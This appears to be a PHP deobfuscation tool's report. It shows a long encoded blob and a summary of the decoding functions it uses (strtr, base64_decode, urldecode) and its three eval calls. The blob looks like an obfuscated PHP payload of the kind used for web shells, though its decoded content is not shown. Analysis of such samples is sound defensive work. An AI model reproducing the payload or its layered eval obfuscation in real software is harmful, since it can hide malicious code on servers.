9mc3CkvlYwQeYtQMKAHJ9sJ3faJsfoQbf6zMKt/3imHr25pt7ty1DJ4+FJOKcmxgcJr/UtcC7tp/YwQeYtQpNgQP9oGJY0zT+wTe9mc3Ckvl+kHp9oyl7ty1DJ4+FJOKcmxgcJrL7bpMCm4hKby/2kI1KA8XogfLcJJT7kcz9PTgYkN3754hYPF/7gxBRoQpfDv/fkzpYnJrYDhr76QhKoFTcmxecg4P9oGJYnrtUt/ZRoQr20OdFVTn85IACaNAD01/Ut7l7bI2YoHZKgxt76Ts7wOp9ofzCg7uwszs2wOdFVTn85IACaNAD0xlN012YoHZKgxt7aGh76hgYo9T7g4MKsHIRoHj+0fefwhC7t7Lc5TvnJHFogfpNtff7wyA7tp/cgyZc5TvnJHFogfpNgffUnV37wyt20ClcsGrWg4vCs8P+wTh+t7uwszs2wOdFVTn85IACaNAD0xBck4hYP8e2v3z9PhM7w7/+6V/RkczYbrb76TL9PG39PITcmHr25pt7ty1DJ4+FJOKcmxgcJr/UtCtUwxAUt/1DJ4+FJOKcmxecJrjN01/Ut73ceQWYDhr7wYAfaIBUPVl7bI2c5TvnJHFogfpNgffU0ruwszs2wOdFVTn85IAfkzpY0ff+nrAC6feCopA2vZ1DJ4+FJOKcmxgcJr/+0xAFr8NOFHF7wZ/Ozc+n0xAUtOdFVTn85IACa7AD0yA7VGcnFzF7aNp7VT6OzH58wxAUt/1DJ4+FJOKcmxecJrqNex3Wp3zKkHzwtOdFVTn85IACa7AD0xT7wfnOFG5vJv/2t46F1TH76xAUtOdFVTn85IACa7AD0yA9w4N0FJc8wxAUt/1DJ4+FJOKcmxecJrqNex3UtCINexAWp3z9PhM7w7B9A7l+6cg+t7uwAr2Ro9Z2Vx1DJ4+FJOKcmxGcJr/+nr/cm5JYDcQcg1/ct9hYoJpfk1Zc5TvnJHFogfpNtff201/ipZ1Y67X+A5JYDcQ2Vx1DJ4+FJOKcmxgcJr3Wp33Yt/1Y67X+AczCgxh+nr/Ys5ICPF37kI2ckO3f6Gz7ar/Ys5ICPFuws8bR6B/ceGr9ocIY04mRoOrRarGNaxz76HzK6GeC65bRoQA+nV/9P8IKk4hY6O3KsCTNt4bK65eCeJX9ozL7kHrioGz+0ct9oHjYmcMfoQ1UoHMK6TgWtNgWn7QNb1t+tCuwtOIRoQz7ar/NnI2fPh3K6FZc6zrYor/+0x1Y67X+sYzf6HZ2w13wDI2Ro9Z70OrRDOIY01cip3z9PhM7wCBfk7lceI2YsTgYo5bRw/1RDOzK04hCgx1RP8Q7arlckYhKk8z2v3z9PhM7wCBf6/lcgy1RP8QUtCBUmOZ+tCuwAczCP8r2wO3f68X2nI2ckO3f6Gz+DOgfoFuws8bR6B/cepMfk7l+kOg+tCuwtOIRoQz7ar/NbI2dv3z9PhM7wCBfk7/9PGhCmNT7spAUtOIRoQzUtCt+tCuwtOIRoQz7ar/c6G3KsFT+nVSNbZGWp3sKmcz9oHZ2wO3f68X765e7wOjYD1/+ny1fs5IfoF37kI2Ro9ZckYhKk8z7arT76QJK6p3ws8bR6B/ceGrYayBRnQLfoGI+wT3+bpMf6vlceI2YoGeYv3z9PhM7wCBf6vlcgQLKactCthZf6JICm4z9PzhK6HZ9Dce2wOP9oGJY013UtCBUmO1+tCuwAr2YoHZKgxA+wTrCbyAWp3Tws8bR6B/cepMf65tK6FlceI2do8ICPF/ip3z9PhM7wCBY6zP+bGt+18gCsTgWbpM9by/cgQZf6JICm4z9PzhK6HZ9Dce2wO19trlYDcgKm7Z201LcepMY6zP+tCuwAr2dv3z9PhM7w7B9A7l+wTsKmcX+bGsKmcX76TLCm8tKozr+0f1UAHsUAxGUAYhKk8z+8ptCD8zCAzC7bX1UAHsUAxgUAYhKk8z+DOZRDNLCD8zCA1Lfs5IfoFuY6TbfoJzKAvLCP9LCm8tKozr2w1uCs8rfDcL76YhKkHzWgCl+kOzikOhCs8h76QhKoFTcm5JYDcQcg4efkzIYnrAfPz1f6/ENnxpcnXZYozARkvENnxpCk/A+t7uwszs2w5zKD4ri0/1DJ4+FJOKcmxgcJr37w9s2wOdFVTn85IACaVAD0xh+0xAK6ThY6Y3K6FA2012YoHZKg4Zf6JICm4z9PzhK6HZ9Dce2wOdFVTn85IACa7AD01uws8bR6B/7bpMf68yf65gYoVl+6cgUeyBRoQpfDv/fkzpYnJefocXRDv/fs5IfoFTcr8yYoHJf6FA+t7uws8bR6B/7bpMf6vl+wTrCbytWp3Tws8bR6B/7bpMf65tK6Fl+wTsKmcX+bGtCtBl7bI2Ro9Zc5TvnJHFogfriD4zcJrT+0fXiDHGKwC37kI2c6OtUnQGfo8gi0/tFr8NOFHF7aV/Ozc+n04XiDHGKwQJCP8g75f7O8c576HMKsHhfwh/fDHzCsxI7wfxcgp/96hMCmO/20xT758nO87Z2044n1v/9VY3K68dCkc3fsx/+0xAi0Ct2nI2Ro9Zc6OtUnQsYDObRw/32v3z9PhM7w7BYsTgK04MKAHJ9sJ3farAYwQeYtQpN0QP9oGJYnJC7sGM9oOsRoGzDw7uY6TbfoJzKAvLCP9LCa7Lfs5IfoFTf6h3CgQsUAYhKk8zWPOM9m8XYoQrUAHsUAHJ9sJ3fw/3Wmczfk8gKt4s9oGeYnIA+bGeC65L+1GM9ov/YszIYnpMCm4hKby/+6zLCk8r7w4bK65eCerAf6TMKkHcKAxA7kOQC6FTf68yfw4L9oJz+o9l+6zLCk8r7kOQC6FTCm8tKozr7kYhKk8z+0Cl+tCl+wTsKmcX+t7uwAr2Ro9ZvwOdFVTn85IACaVAD0xT+0xAK6ThY6Y3K6FA204uwtOsRoGz7ar/c6OtUnQIKP51OszIY0/1DJ4+FJOKcmxgcJr3Wp3z9PhM7wCBCkcz76HI9DHe+oJINnyAUshrKoGeC68bRo5I9PhhCANZc6Y3K68KcPY3K6FAD01LcepMCkcz+tCuwAr2do8ICPF/ip3z9PhM76hrKoGeC68bRo5I9PhhCANZc6OtUnQzCAcMCt/32nI2dv3z9PhM7wCBUPO3fbyAWp3mCPT6KPTrYD7Z2nI2dv3sfoQbf6zMKt4h9mO3KPQWYDOmKmcj2w1/ip3mCPT7Yo51YD7Z2nI2c6ch9PXd9PTLKs8bf5Tp+0cciF8PY5hWiFpg0A4tRnzmozh2CrOOCa5bNz8A8n7QRsVg8b4+fe4U01fIR53kFAzv8PGJozh0Yzz9FAYtRofjF8Y205YICmf9FPXAY1hmYJ3kK6GUvr369PQ2fsHqKPf2vrYb9szcCVTmNVX20VcZo1f0i849nAYYNAOZo1f0i8/gKk8UvJcw8oX18JfEOsONvr5j98f6RJ370D4c0k/y0Ff0C53nYPz0oV3Q9bHcH1zaFoh9OeO30JOen1H3FAfbKn1p9AZGKz39FAfbKn1p9bc2HocXOAORFPfLYVfWfr3QRefVFD4E9bcWCz39FoT8NazVFe4o8FGavz50Kaz286Xo8FGavzOFNVQNoa5W888j81cFFmfA01hwio7eFAYUFr7yY1HwRP5D8oTcRJYQ9PrQiFT3voXc8AhJ0ozjHrOOC63tNb8JozfWNVX6nz4ONkO681HmYr37vshROJcQ0JHwW6YavsXh8J8M0oXoioHXWDz+RF5j08YyfFz3RefVFD4P9rfofFX6nz80OoG+nVH4R843ozOFNVQNFzYORFXFCrQaKnzmozCrKJFGF18FN8Y8nVH4R843ozOFNVQNFzYORFXFCrQaKnzmozCrKJFGF180813nnVH4R843ozOFNVQNFzYORFXFCrQaK1yJ9eH0K6cnYPQNN13p9s1Qis5avDOhFPHpnmCp0J1gikYbNz8M8n50O8H8Hk4+fe4UoncyfsNg8oT8N8c58a5o8FXFCrQaKFQe9bHWKVX6nz80O8Yn8ozjHg7uwtOtRoQ1Dm4MCAOdCart0Dz5fsO9nAzNN13p9s1QfJ390AHVFoTj8n4ZOzO5fezcRnz398CrfsNgYPfN8PX3nmCp0P5DoofUOFcw8oX18rzVfPfHFPXAYDzwK68kKa4UOV8pnmzwWFOOCa5bNz8A8n7QRsVg8b4+fe4U9e7QRsVg8b4UO1Je0sGwOJ/pKVT08z5e0sGWF5Vpf6Y8N8cnFz86n1GkY6G10VcQ9bH0fzzLKk8Y8e5I0rH1N51evoQUFPXAY1hmYJ3kK6Gcvr3Vo8CJNVzknAzR8r9pozHwis7gnAcRo5cb9szcHrOOCk3Ro5cE9bcWCs7evb4UO1Je8nxQn8/Gnz4ONkO681Hy85vGW8H08zYFFz86O8c60DHHFPImO55pRo5DHoXUO1Je9e7QRsVgOsXR0V3s98CrKr35OzH0N83tnF9pCJH8HFc0O8cnoa46nJfnRm4c0k/y0Ff0C53nvozON1YJYVHwfsHk8A8c0VcP9PQ09Pc30nfVFD4e98hWN53DH6T8iDfE0JHwW6YavsXh8J8A0oXWR6cLFoftOPGEYVfofFz7vAYbKzcb9szcHrOOCaHhOPGeozHAiVXnvbfVFoT2o8fWRz39vb4UOFQv86IrCJ8QRefVFoT298fYKrznYPXbOPGjF5fRfsHXCm4UFr7mO55M01HDFA4RFr53Fnc6focXWn4cOJ3P9PJeRFzkK6JcvPfZo1foKo5DHoGRvr5j9rfIRrXFCrQaYPX29bHwK6c3vzOoO8c286zmR84ao1OFNa8+0o3en1HARr3tNrcI9szw85Y5Fz4o8z5e0oZrK8VpWFTFRF1mO55M01HDWDfR8eOA8n50O8co0zHNvr1j0sXWF5OjH6z+fe4UvJ5IK68k8s3cvJcFFr8on8Oavbhsvrcj98f8YPH70A4tKz5AFnxQnJO3vozON1YJYVHwK68k8s31o5cI0FH085H581JFOAhJ0o3en1HARr3YNAhP9ec8YJVpWFTFRAHWvPfj0z39Rk41vr5mnmCp0rH9NVQaKbxT7bI2YoHZKgxt+6/G+1QzfkfMCsI/f6TMKkNBUP/G+bG1RD9/9PGhCmNT9PTLf68LfayHw/r2wnGsKmcX76QhKoFTcPQsCwC/KPQnfocXRDvTDwcA26QJK6pIKA8IKwpA9A4pcgGrR6zeUA4MCAvLfs5IfoF3Wmczfk8gKt4s9oGeYnXC7byHw/1BCm4hKbQwRoQ17k4MCAv/f6B/UPc3KtTeRw4KC68gK5rBUmHp9oyl+6cgUeyHw/zvKmcrWtxBRoQpfDv/fkzpYnrAf68yfwC/Ks5XYnrAC6TgfwC/fs5IfoFTceNGNeNmcey/+6zLCk8r7kOQC6FTCm8tKozr7kYhKk8z+0Cl+tClavZc+wTsKmcX+/r2wnGsKmcX76QhKoFTcPQsCwC/KPQnfocXRDvTDwcA26QJK6pIKA8IKwpA9sHpcgGrR6zeUAHzCAYzCtQP9oGJY0GrR6zeUA4MCAvLfs5IfoF3Wmczfk8gKt4s9oGeYnXC7byHw/1BCm4hKbQw9oHjUoHMKsQz9mv/75XpYDcIDnpMCm4hKbyB9A7M+/r2w8HzCAYzCbZ/+6zLCk8r7kOQC6FTcmOzikvA76QhKoFTcmHzCAYzCtC/fs5IfoFTcg7Lc5TnO8coO8cKcJc5nFTFO8T4OVO0cJr/Ut7A+t4vKmcrWtxBRoQpfDv/fkzpYnrAf68yfwC/Ks5XYnrAC6TgfwC/fs5IfoFTceNGNeNmcey/+6zLCk8r7kOQC6FTCm8tKozr7kYhKk8z+0Cl+tClavZHw/1BUPYMCsrl+6cg+t7uwszs26zeCP8r2wOdFVTn85IACaVAD0137kI2YA8L9mO3KPy/9P9Zc69Ickv37kI2ckC/+04xYsTpYoyZc69I7ACt204MCt4xYA8L9mO3KPQdYDh3CmOe2wfsRoGzDm4Jf5TbKPQrYoQrCgC3Wp33Yt/1fgzuw14sfmc3f6FZckCIv6chCPFPH5T1YoHMY6FZckv32nI2v6YbK6TeY0/1fg1uwAr2dv33Yt/1DJ4+FJOKcmxGcJr/+nr/cPcpCwC37kI29P9Z7tTrKDxM9AxLC6ptUwOtRoQ1Dm4MCAOdCw1uwtOMfDv/+04mCPT5iw/tC68gKwxMf6JpUPcpUA4I7w7Lc5TvnJHFogfpNtffUt7/NnyMY68PUPQJK6p/NbysN0xs7t1uws8bR6B/7bGpCsF/9PGhCmNTKopG+tOMfDOCKt7LfmHMOD/Z7A4e765Jiw4B76fgYDx/9AxLC6pt20yt+wTpCsFl7bI2foQIRoQj2w7Mf6JpUPcpUA4I7t1uwAr2Ro9Zc5TvnJHFogfpN0ff7arT7wft9mxA204uwsHs2w7Mf6JpUPcbUA4I7tp19s5bRJTbKPQLYoHrDmx3WpZ1Km8r7ar/fmHMOD/Z7A4zCsp/UmOXCwTt9gQpKwxtUtOdFVTn85IACa7AD0yt7w7Lc5TvnJHFogfpNgffUt7/NnyMY68PUPQJK6p/NbysN0xs7t1uws8bR6B/7bGpCsF/9PGhCmNTKopG+tOMfDOCKt7LfmHMOD/Z7A4e765Jiw4B76fgYDx/9sNLC6pt20yt+wTpCsFl7bI2foQIRoQj2w7Mf6JpUPcbUA4I7t1uwAr2dv3z9PhM7wCBUPO3fbyAWp3mCPT6KPTrYD7Z2nI2dv3sfoQbf6zMKt4h9mO3KPQ0vg/37kI2Ro9Z7Fx1DJ4+FJOKcmxGcJr37kI2c6V/+04hCAchi0/27A8L9oJz7brlC6hpDm8L9oJz2w1IwtcpRk4dfs8gCPzMKt7T+A4ZCkYzCAH3KPyZ20p27AfeKJTPYDceRoTL7brl8JH+DJY5FzHcnryIwtce9oYzKoT1Y07T+143KszdYP8r2wfe9oYzDPJMY6FA2vZ3Wp3z9PhM7kHzCszhK6zEY0/1901uwAJzKkHz7kI2YDYhKw/1DJ4+FJOKcmxGcJr3Wp3TwAr2Ro9Z768XCkOQ2wOdFVTn85IA90ff20x3wszs26zeCP8r2wO1YoYhfoGrDP5bf6zMKt1/ctYsfoQbf6zMKzTzi6zefkNZcP5bf6zMKtCLc6OzYs5JKkOd9oHrRoTL2012c5TvnJHFogfhcJr/+0x1Y68s9D8If5Th9mO3KPyuws8ICPF2c5TvnJHFogfhcJr/+0xAFP8b0oQsKgCuwszs2wxhYoJpfk1Zc5TvnJHFogfhcJr37w9sYA8L9mO3KPQdYDh3CmOe2wfh9mO3KPyAUtOdFVTn85IA90ff20x3wsHhK6GdfDHzCzTsfoQb2wfh9mO3KPyAUtOdFVTn85IA90ff2nI2YA8L9mO3KPy/Os8r9Ph8F1pZck8gKw1/ipZ19P//+04bfDcIDPzLRDvZ2nI29m8gK5TeYDOMCkvZc6HZUVH8F1G+F5Od88H5F15kOFQFUw719Phz9oOzCt73Wp3bfDcIDmHzf6Tpfw/19P/IvJ80nVTv85T6nrGNnJfNnrH48Vz+ntpG2nI29m8gK5TeYDOMCkvZc6HZUVH8F1G+F5Od0V84OV80U6YhKkHz2nI29m8gK5TeYDOMCkvZc6HZUVH8F1G+F5Od88cNUwOJCsp3Wp3bfDcIDmHzf6Tpfw/19P/IvJ80nVTv85T0O8O8F1QFF15WFrY5FtpG2nI29m8gK5TeYDOMCkvZc6HZUVH8F1G+F5Od8VzHOFT88wpeNw1uwtO19DOh7ar/9m8gK5Tzi68b2wObRw1uwszs2wV1Y65r901/ip3gYDOJCsy/Ys5ICPFuwAr2Cs8rfDcL7wO19DOhWp3Tws8yRDvuws8bR6Btf68efw72Wp==XKyMm
Function Calls
fopen | 1 |
fread | 3 |
strtr | 2 |
fclose | 1 |
urldecode | 1 |
str_replace | 1 |
base64_decode | 3 |
Stats
MD5 | 5b5358d2d8352eb085f4c622b3d627d5 |
Eval Count | 3 |
Decode Time | 441 ms |